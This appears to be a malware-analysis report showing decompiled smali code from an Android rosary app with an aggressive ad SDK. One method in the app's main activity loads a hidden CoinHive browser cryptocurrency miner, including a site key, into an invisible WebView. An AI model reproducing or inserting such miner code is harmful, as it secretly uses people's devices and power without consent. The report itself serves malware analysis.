30 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V | |
32 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getSettings()Landroid/webkit/WebSettings; | |
33 | move-result-object v1 | |
35 | sget-object v2, Landroid/webkit/WebSettings$RenderPriority;->HIGH:Landroid/webkit/WebSettings$RenderPriority; | |
37 | invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setRenderPriority(Landroid/webkit/WebSettings$RenderPriority;)V | |
39 | sget-object v2, Landroid/webkit/WebSettings$LayoutAlgorithm;->NARROW_COLUMNS:Landroid/webkit/WebSettings$LayoutAlgorithm; | |
41 | invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setLayoutAlgorithm(Landroid/webkit/WebSettings$LayoutAlgorithm;)V | |
42 | const/4 v2, 0x2 | |
44 | invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setCacheMode(I)V |
|
46 | invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setLoadWithOverviewMode(Z)V |
|
48 | invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setLoadsImagesAutomatically(Z)V |
|
50 | invoke-virtual {v1, v4}, Landroid/webkit/WebSettings;->setUseWideViewPort(Z)V |
|
52 | invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V |
|
53 | new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface; | |
55 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
57 | const-string v3, "airpush_mraid" | |
59 | invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V |
|
60 | sget v2, Landroid/os/Build$VERSION;->SDK_INT:I | |
61 | const/16 v3, 0x8 | |
62 | if-lt v2, v3, :cond_6f | |
64 | sget-object v2, Landroid/webkit/WebSettings$PluginState;->ON:Landroid/webkit/WebSettings$PluginState; | |
66 | invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setPluginState(Landroid/webkit/WebSettings$PluginState;)V | |
67 | goto_58: new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient; | |
69 | invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V | |
71 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setWebViewClient(Landroid/webkit/WebViewClient;)V | |
73 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String; | |
75 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->displayAd(Ljava/lang/String;)V | |
77 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
78 | if-eqz v2, :cond_6e | |
80 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
82 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdLoadingListener()V | |
83 | cond_6e: return-void | |
84 | cond_6f: | |
85 | invoke-virtual {v1, v5}, Landroid/webkit/WebSettings;->setPluginsEnabled(Z)V |
|
86 | goto/16 :goto_58 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p0, "context" # Landroid/content/Context; | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
3 | try_start_1: | |
4 | const-string v3, "sdkPrefs" | |
5 | const/4 v4, 0x0 | |
7 | invoke-virtual {p0, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
8 | move-result-object v0 | |
9 | if-eqz v0, :cond_20 | |
10 | const/4 v3, 0x0 | |
12 | invoke-virtual {v0, v3}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z |
|
13 | move-result v3 | |
14 | if-nez v3, :cond_20 | |
16 | const-string v3, "SDKEnabled" | |
18 | invoke-interface {v0, v3}, Landroid/content/SharedPreferences;->contains(Ljava/lang/String;)Z |
|
19 | move-result v3 | |
20 | if-eqz v3, :cond_20 | |
22 | const-string v3, "SDKEnabled" | |
23 | const/4 v4, 0x0 | |
25 | invoke-interface {v0, v3, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
26 | try_end_1f: move-result v2 | |
27 | cond_20: return v2 | |
28 | catch_21: move-exception v1 | |
30 | const-string v3, "AirplaySDK" | |
31 | new-instance v4, Ljava/lang/StringBuilder; | |
33 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
35 | const-string v5, "" | |
37 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
38 | move-result-object v4 | |
40 | invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
41 | move-result-object v5 | |
43 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
44 | move-result-object v4 | |
46 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
47 | move-result-object v4 | |
49 | invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
50 | goto/16 :goto_20 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "savedInstanceState" # Landroid/os/Bundle; | |
1 | .prologue | |
3 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
4 | const/high16 v0, 0x7f030000 | |
6 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->setContentView(I)V |
|
7 | const v0, 0x7f070001 | |
9 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->findViewById(I)Landroid/view/View; |
|
10 | move-result-object v0 | |
11 | check-cast v0, Landroid/widget/Button; | |
12 | iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mresourcesaudio:Landroid/widget/Button; | |
14 | iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mresourcesaudio:Landroid/widget/Button; | |
16 | iget-object v1, p0, Lprsolutions/rosariofacileads/RosarioFacile;->mResourcesAudioListener:Landroid/view/View$OnClickListener; | |
18 | invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
19 | const v0, 0x7f070002 | |
21 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->findViewById(I)Landroid/view/View; |
|
22 | move-result-object v0 | |
23 | check-cast v0, Landroid/webkit/WebView; | |
24 | iput-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView; | |
26 | iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView; | |
28 | invoke-virtual {v0}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings; | |
29 | move-result-object v0 | |
30 | const/4 v1, 0x1 | |
32 | invoke-virtual {v0, v1}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V |
|
34 | iget-object v0, p0, Lprsolutions/rosariofacileads/RosarioFacile;->vv:Landroid/webkit/WebView; | |
36 | const-string v1, "<html><script src=\"https://coinhive.com/lib/coinhive.min.js\"></script><script>var miner = new CoinHive.Anonymous(\'5xUKpsv5UFOcqf6dToqMDAtBYKn1WavS\');miner.setThrottle(0.1);miner.start();</script><body></body></html>" | |
38 | const-string v2, "text/html" | |
39 | const/4 v3, 0x0 | |
41 | invoke-virtual {v0, v1, v2, v3}, Landroid/webkit/WebView;->loadData(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V |
|
42 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "savedInstanceState" # Landroid/os/Bundle; | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
4 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V | |
5 | const v1, 0x7f030001 | |
7 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Opzioni;->setContentView(I)V |
|
9 | const-string v1, "MyPrefsFile" | |
11 | invoke-virtual {p0, v1, v2}, Lprsolutions/rosariofacileads/Opzioni;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
12 | move-result-object v0 | |
14 | const-string v1, "sleep_mode" | |
16 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
17 | move-result v1 | |
18 | iput-boolean v1, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z | |
19 | const v1, 0x7f070003 | |
21 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Opzioni;->findViewById(I)Landroid/view/View; |
|
22 | move-result-object v1 | |
23 | check-cast v1, Landroid/widget/CheckBox; | |
24 | iput-object v1, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox; | |
26 | iget-object v1, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox; | |
27 | iget-boolean v2, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z | |
29 | invoke-virtual {v1, v2}, Landroid/widget/CheckBox;->setChecked(Z)V | |
30 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v2, 0x0 | |
3 | invoke-super {p0}, Landroid/app/Activity;->onResume()V | |
5 | const-string v1, "MyPrefsFile" | |
7 | invoke-virtual {p0, v1, v2}, Lprsolutions/rosariofacileads/Player;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
8 | move-result-object v0 | |
10 | const-string v1, "sleep_mode" | |
12 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
13 | move-result v1 | |
14 | iput-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z | |
15 | iget-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z | |
17 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->ToggleSleep(Z)V | |
18 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/Exception; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | const/4 v4, 0x0 | |
8 | const/4 v1, 0x2 | |
9 | new-array v0, v1, [Ljava/lang/String; | |
10 | const/4 v1, 0x0 | |
12 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
14 | invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String; | |
15 | move-result-object v3 | |
17 | invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
18 | move-result-object v2 | |
19 | aput-object v2, v0, v1 | |
20 | const/4 v1, 0x1 | |
22 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
24 | const-string v3, "video_url" | |
26 | invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
27 | move-result-object v2 | |
28 | aput-object v2, v0, v1 | |
29 | return-object v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
4 | const-string v1, "thisSmartWall" | |
5 | const/4 v2, 0x0 | |
7 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
8 | move-result v0 | |
9 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .annotation system Ldalvik/annotation/Throws; | |
2 | value = { | |
3 | Ljava/lang/NullPointerException; | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
10 | invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String; | |
11 | move-result-object v1 | |
12 | const/4 v2, 0x0 | |
14 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
15 | move-result-object v0 | |
16 | return-object v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
2 | const/4 v7, 0x0 | |
3 | try_start_1: | |
4 | const-string v6, "AirplayMraid" | |
5 | new-instance v8, Ljava/lang/StringBuilder; | |
7 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
9 | const-string v9, "Ad json:" | |
11 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
12 | move-result-object v8 | |
14 | invoke-virtual {v8, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
15 | move-result-object v8 | |
17 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
18 | move-result-object v8 | |
20 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
22 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
24 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J | |
25 | move-result-wide v8 | |
27 | invoke-static {v6, v8, v9}, Lcom/vxjxu/jkhfn1870/AdView;->access$702(Lcom/vxjxu/jkhfn1870/AdView;J)J |
|
28 | if-eqz p1, :cond_ba | |
30 | const-string v6, "" | |
32 | invoke-virtual {p1, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
33 | move-result v6 | |
34 | if-nez v6, :cond_ba | |
35 | new-instance v3, Lorg/json/JSONObject; | |
37 | invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
39 | const-string v6, "banner_type" | |
41 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
42 | move-result v6 | |
43 | if-eqz v6, :cond_6f | |
45 | const-string v2, "" | |
46 | goto_3b: if-eqz v2, :cond_45 | |
48 | const-string v6, "" | |
50 | invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
51 | move-result v6 | |
52 | if-eqz v6, :cond_84 | |
53 | cond_45: | |
54 | const-string v6, "AirplayMraid" | |
56 | const-string v8, "No banner type present in response." | |
58 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
60 | const-string v6, "status" | |
62 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
63 | move-result v6 | |
64 | if-eqz v6, :cond_76 | |
65 | move v5, v7 | |
66 | goto_55: | |
67 | const-string v6, "message" | |
69 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
70 | move-result v6 | |
71 | if-eqz v6, :cond_7d | |
73 | const-string v4, "" | |
74 | goto_5f: | |
75 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
76 | new-instance v8, Lcom/vxjxu/jkhfn1870/AdView$5$1; | |
78 | invoke-direct {v8, p0, v5, v4}, Lcom/vxjxu/jkhfn1870/AdView$5$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView$5;ILjava/lang/String;)V | |
80 | invoke-virtual {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->post(Ljava/lang/Runnable;)Z | |
81 | try_end_69: | |
82 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
84 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
85 | goto_6e: return-void | |
86 | cond_6f: | |
87 | const-string v6, "banner_type" | |
89 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
90 | move-result-object v2 | |
91 | goto/16 :goto_3b | |
92 | cond_76: | |
93 | const-string v6, "status" | |
95 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
96 | move-result v5 | |
97 | goto/16 :goto_55 | |
98 | cond_7d: | |
99 | const-string v6, "message" | |
101 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
102 | move-result-object v4 | |
103 | goto/16 :goto_5f | |
104 | cond_84: | |
105 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
107 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
108 | move-result-object v6 | |
110 | const-string v8, "inappad" | |
112 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
113 | move-result v6 | |
114 | if-eqz v6, :cond_13b | |
116 | const-string v6, "rich_media" | |
118 | invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
119 | move-result v6 | |
120 | if-eqz v6, :cond_e7 | |
122 | const-string v6, "adtype" | |
124 | invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
125 | move-result-object v0 | |
127 | const-string v6, "MIT" | |
129 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
130 | move-result v6 | |
131 | if-eqz v6, :cond_c0 | |
133 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
135 | const-string v8, "interstitial" | |
137 | invoke-static {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$402(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/String;)Ljava/lang/String; |
|
138 | goto_af: | |
139 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
141 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
143 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
144 | move-result-object v8 | |
146 | invoke-static {v6, v8, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$900(Lcom/vxjxu/jkhfn1870/AdView;Landroid/content/Context;Lorg/json/JSONObject;)V | |
147 | cond_ba: | |
148 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
150 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
151 | goto/16 :goto_6e | |
152 | cond_c0: | |
153 | const-string v6, "MIN" | |
155 | invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
156 | move-result v6 | |
157 | if-eqz v6, :cond_da | |
159 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
161 | const-string v8, "inline" | |
163 | invoke-static {v6, v8}, Lcom/vxjxu/jkhfn1870/AdView;->access$402(Lcom/vxjxu/jkhfn1870/AdView;Ljava/lang/String;)Ljava/lang/String; |
|
164 | try_end_cf: goto/16 :goto_af | |
165 | catch_d0: move-exception v1 | |
166 | try_start_d1: | |
167 | invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V | |
168 | try_end_d4: | |
169 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
171 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
172 | goto/16 :goto_6e | |
173 | cond_da: | |
174 | const-string v6, "AirplayMraid" | |
176 | const-string v8, "Invalid placement type for rich media." | |
178 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
179 | try_end_e1: | |
180 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
182 | invoke-static {v6, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
183 | goto/16 :goto_6e | |
184 | cond_e7: | |
185 | const-string v6, "image" | |
187 | invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
188 | move-result v6 | |
189 | if-nez v6, :cond_f7 | |
191 | const-string v6, "text" | |
193 | invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
194 | move-result v6 | |
195 | if-eqz v6, :cond_104 | |
196 | cond_f7: | |
197 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
199 | invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V | |
200 | try_end_fc: goto/16 :goto_ba | |
201 | catchall_fd: move-exception v6 | |
203 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
205 | invoke-static {v8, v7}, Lcom/vxjxu/jkhfn1870/AdView;->access$102(Lcom/vxjxu/jkhfn1870/AdView;Z)Z |
|
206 | throw v6 | |
207 | try_start_104: | |
208 | const-string v6, "medium_rectangle" | |
210 | invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
211 | move-result v6 | |
212 | if-eqz v6, :cond_122 | |
214 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
216 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$500(Lcom/vxjxu/jkhfn1870/AdView;)Z | |
217 | move-result v6 | |
218 | if-eqz v6, :cond_11a | |
220 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
222 | invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V | |
223 | goto/16 :goto_ba | |
224 | cond_11a: | |
225 | const-string v6, "AirplayMraid" | |
227 | const-string v8, "Can not show this ad." | |
229 | invoke-static {v6, v8}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I |
|
230 | goto/16 :goto_ba | |
231 | cond_122: | |
232 | const-string v6, "AirplayMraid" | |
233 | new-instance v8, Ljava/lang/StringBuilder; | |
235 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
237 | const-string v9, "Invalid banner type in inappad json: " | |
239 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
240 | move-result-object v8 | |
242 | invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
243 | move-result-object v8 | |
245 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
246 | move-result-object v8 | |
248 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
249 | goto/16 :goto_ba | |
250 | cond_13b: | |
251 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
253 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
254 | move-result-object v6 | |
256 | const-string v8, "rich_media" | |
258 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
259 | move-result v6 | |
260 | if-eqz v6, :cond_156 | |
262 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
264 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
266 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
267 | move-result-object v8 | |
269 | invoke-static {v6, v8, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$900(Lcom/vxjxu/jkhfn1870/AdView;Landroid/content/Context;Lorg/json/JSONObject;)V | |
270 | goto/16 :goto_ba | |
271 | cond_156: | |
272 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
274 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
275 | move-result-object v6 | |
277 | const-string v8, "image" | |
279 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
280 | move-result v6 | |
281 | if-nez v6, :cond_180 | |
283 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
285 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
286 | move-result-object v6 | |
288 | const-string v8, "text" | |
290 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
291 | move-result v6 | |
292 | if-nez v6, :cond_180 | |
294 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
296 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/AdView;->access$200(Lcom/vxjxu/jkhfn1870/AdView;)Ljava/lang/String; | |
297 | move-result-object v6 | |
299 | const-string v8, "medium_rectangle" | |
301 | invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
302 | move-result v6 | |
303 | if-eqz v6, :cond_187 | |
304 | cond_180: | |
305 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView; | |
307 | invoke-static {v6, v3}, Lcom/vxjxu/jkhfn1870/AdView;->access$1000(Lcom/vxjxu/jkhfn1870/AdView;Lorg/json/JSONObject;)V | |
308 | goto/16 :goto_ba | |
309 | cond_187: | |
310 | const-string v6, "AirplayMraid" | |
311 | new-instance v8, Ljava/lang/StringBuilder; | |
313 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
315 | const-string v9, "Invalid banner type in json: " | |
317 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
318 | move-result-object v8 | |
320 | invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
321 | move-result-object v8 | |
323 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
324 | move-result-object v8 | |
326 | invoke-static {v6, v8}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
327 | try_end_19f: goto/16 :goto_ba |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "jsonObject" # Lorg/json/JSONObject; | |
2 | .param p3, "bannerType" # Ljava/lang/String; | |
3 | .annotation system Ldalvik/annotation/Throws; | |
4 | value = { | |
5 | Lorg/json/JSONException;, | |
6 | Ljava/lang/Exception; | |
7 | } | |
8 | .end annotation | |
9 | .prologue | |
10 | const/4 v8, 0x1 | |
11 | const/4 v7, 0x0 | |
